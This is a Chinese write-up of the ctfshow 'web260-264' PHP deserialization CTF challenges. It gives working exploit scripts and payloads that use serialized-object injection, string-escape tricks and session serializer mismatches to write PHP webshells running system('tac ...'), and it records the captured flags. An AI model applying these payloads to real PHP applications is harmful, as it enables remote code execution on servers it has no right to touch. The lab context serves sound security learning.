ctfshow-web入门-反序列化(web260-web264)

server/2024/11/15 8:41:47/

目录

web260-toc" style="margin-left:0px;">1、web260

web261-toc" style="margin-left:0px;">2、web261

web262-toc" style="margin-left:0px;">3、web262

web263-toc" style="margin-left:0px;">4、web263

web264-toc" style="margin-left:0px;">5、web264


web260" style="background-color:transparent;">1、web260

要求传入的内容序列化后包含指定内容即可,在 PHP 序列化中,如果键名或值包含 ctfshow_i_love_36D,那么整个序列化结果也会包含这个字符串。

payload:

?ctfshow[]=ctfshow_i_love_36D

拿到 flag:ctfshow{16d7d5c7-a95b-46e2-8ae6-9ce1ce40db95}

web261">2、web261

一开始看到的是 eval 函数,但是需要触发 __invoke ,看了下这里没法触发

那么利用点就只有 file_put_contents,需要满足 code==0x36d 转成十进制也就是 877,是弱等于,因此我们可以在 877 后面添加内容,也可以满足条件,而 code = $this->username.$this->password,也就是传入的用户名和密码的拼接。

exp:

php"><?php
class ctfshowvip
{public $username;public $password;public $code;public function __construct($u, $p){$this->username = $u;$this->password = $p;}
}
$c = new ctfshowvip('877.php',"<?php system('tac /f*');?>");
echo serialize($c);

这里同时存在 __unserialize() 和 __wakeup()函数,在 php 7.4 以上版本反序列化时会忽略__wakeup() 函数,因此这里实际并不需要用户名和密码为空。 

payload:

php">?vip=O:10:"ctfshowvip":3:{s:8:"username";s:7:"877.php";s:8:"password";s:26:"<?php system('tac /f*');?>";s:4:"code";N;}

访问 877.php 拿到 flag

ctfshow{2f61063a-c9c5-49f7-968a-d7adf772376d}

web262" style="background-color:transparent;">3、web262

没看到什么利用点,但是注意到有一个 message.php

这个就很简单了,满足 $msg->token=='admin' 即可

exp:

php"><?php
class message{public $token='admin';
}
$m = new message();
echo base64_encode(serialize($m));
?>

payload:

php">msg=Tzo3OiJtZXNzYWdlIjoxOntzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9

拿到 flag:ctfshow{52bb7ed2-61da-493c-a7f3-89f9ea42f6c2}

如果不在 message.php 传,回过头来看这个,其实是字符串逃逸变长的类型

将 fuck 替换为 loveU 就会增加一个字符

逃逸部分如下,共27个字符

构造 payload:

php">?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

访问 message.php 即可看到 flag

web263" style="background-color:transparent;">4、web263

目录扫描存在备份文件 www.zip

file_put_contents 这里可以写入东西

session.serialize_handler 是用来设置 session 序列化引擎的,在 5.5.4 前默认是 php,5.5.4后默认是 php_serialize,在 PHP 反序列化存储的 $_SESSION 数据时如果使用的引擎和序列化时使用的引擎不一样,就会导致数据无法正确第反序列化,也就是 session 反序列化漏洞。

在 check.php 下会获取 $_COOKIE['limit'] 进行 base64 解码

exp:

php"><?php
class User
{public $username;public $password;function __construct(){$this->username = 'my6n.php';$this->password = '<?php system(\'tac flag.php\')?>';}
}
$u = new User();
echo urlencode(base64_encode('|' . serialize($u)));

运行得到:

php">fE86NDoiVXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo4OiJteTZuLnBocCI7czo4OiJwYXNzd29yZCI7czozMDoiPD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKT8%2BIjt9

先访问首页,建立会话,将 cookie 中的 limit 赋值为我们的 payload(序列化后的内容)

接着访问 check.php

反序列化 session

写入恶意代码

访问写入的文件 log-my6n.php

命令执行成功

拿到 flag:ctfshow{2810fbc2-fc78-4bad-b0cb-8a40aedbe6d4}

web264" style="background-color:transparent;">5、web264

直接用 web262 的传发现不行,msg 没有定义

查看 cookie,确实没有 msg

我们手动添加一个,但是直接在 message.php 设置 admin 也不行,那就还是采用字符串逃逸的方法,payload 同 web262:

php">?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

刷新 message.php

拿到 flag:ctfshow{e2c408b1-9ab9-4c87-8655-ec43b2e2930a}


http://www.ppmy.cn/server/141707.html

相关文章

软件设计师-数据库

上午6分&#xff0c;下午15分&#xff0c;很重要 数据库&#xff0c;长期存储在计算机内的、有组织的、可共享的数据集合&#xff0c;数据库中的数据按照数据模型组织&#xff0c;描述和存储&#xff0c;具有较小的冗余度&#xff0c;较高的数据独立性和易拓展性&#xff0c;并…

【LeetCode】【算法】240. 搜索二维矩阵II

LeetCode 240. 搜索二维矩阵II 题目描述 编写一个高效的算法来搜索 m x n 矩阵 matrix 中的一个目标值 target 。该矩阵具有以下特性&#xff1a; 每行的元素从左到右升序排列。每列的元素从上到下升序排列。 思路 思路&#xff1a;K神真强啊240.搜索二维矩阵II&#xff0…

Ubuntu22.04安装cuDNN

根据下面地址选择安装即可: 英伟达cuDNN下载 wget https://developer.download.nvidia.com/compute/cudnn/9.5.1/local_installers/cudnn-local-repo-ubuntu2204-9.5.1_1.0-1_amd64.deb sudo dpkg -i cudnn-local-repo-ubuntu2204-9.5.1_1.0-1_amd64.deb sudo cp /var/cudnn-…

Android 开发指南:初学者入门

Android 是全球最受欢迎的移动操作系统之一&#xff0c;为开发者提供了丰富的工具和资源来创建各种类型的应用程序。本文将为你提供一个全面的入门指南&#xff0c;帮助你从零开始学习 Android 开发。 目录 1. 了解 Android 平台[1]2. 设置开发环境[2]3. 学习基础知识[3]4. 创…

什么是上拉和下拉

在电子电路和嵌入式系统中&#xff0c;“上拉”和“下拉”通常指的是上拉电阻&#xff08;pull-up resistor&#xff09;和下拉电阻&#xff08;pull-down resistor&#xff09;。它们是被用于稳定电路输入或输出引脚的电阻器&#xff0c;通过将引脚电位锁定到特定的电压水平来…

资产安全加固的面试点

资产加固 资产管理属于蓝队前期要做的事情&#xff0c;首先客户单位对他自身的单位资产有一定的了解哪些资产的优先级和重要程度等等&#xff0c;所以开始要做相关的资产梳理&#xff0c;对客户单位进行统计&#xff0c;梳理&#xff0c;分析&#xff0c;找到哪些点是可以授权…

vue3实现一个无缝衔接、滚动平滑的列表自动滚屏效果,支持鼠标移入停止移出滚动

文章目录 前言一、滚动元素相关属性回顾一、实现分析二、代码实现示例&#xff1a;2、继续添加功能&#xff0c;增加鼠标移入停止滚动、移出继续滚动效果2、继续完善 前言 列表自动滚屏效果常见于大屏开发场景中&#xff0c;本文将讲解用vue3实现一个无缝衔接、滚动平滑的列表自…

HarmonyOS开发 API 13发布首个Beta版本,部分已知的问题建议处理方案

HarmonyOS 5.0.1 Beta3&#xff0c;是HarmonyOS开发套件基于API 13正式发布的首个Beta版本。该版本在OS能力上主要增强了C API的相关能力&#xff0c;多个特性补充了C API供开发者使用。该版本对部分已知问题做了解决和优化&#xff0c;部分问题给出了解决方案和适配计划&#…